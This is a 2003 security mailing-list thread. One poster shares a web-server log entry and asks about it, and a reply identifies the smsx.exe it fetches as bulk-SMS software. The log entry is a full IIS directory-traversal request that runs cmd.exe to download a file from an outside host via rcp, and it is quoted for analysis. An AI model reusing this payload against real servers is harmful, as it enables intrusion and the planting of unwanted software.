Re: smsx.exe?

smsx.exe is not the Microsoft SMS product, it is probably this:
http://www.superbank.ru/sms/

If you look at the bottom of the features page of this product, it is designed to send lots of SMS messages to hand help devices.
http://www.superbank.ru/sms/SMSexpress.htm

Your would be attacker is trying to get your machine to download software to send short messages to hand held devices. I have received a couple pieces of spam on my cell phone lately, so I am sensitive to this. Your would-be attacker's motives may be different.

Hi,

Has anyone seen a request like this in their logs?

205.247.193.56 - - [05/May/2003:11:59:52 -0300]
"/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+rcp+-b+195.92.252.138.adm:smsx.exe+."

I tried rcping smsx.exe off the remote site but no joy; is the .adm an
obscure windows-specific port address or something? One of our windows
guys said the smsx was "remote management software", but had no idea about
the .adm...

On a side note, the response I got from energis (the 195.92.252.138 owner)
had the following at the start:

PLEASE NOTE WE ARE CURRENTLY DEALING WITH A 2 WEEK BACKLOG

Further down:

Please note that if one of our IP addresses looks up to a 'webcache' (as
opposed to a modem) we have a *maximum* of 30 hours to trace the user
responsible for the abuse.

So I guess this means that Energis users have a pretty good chance of
abusing remote servers through Energis' web cache and getting away with it
:-/

Cheers, Steve
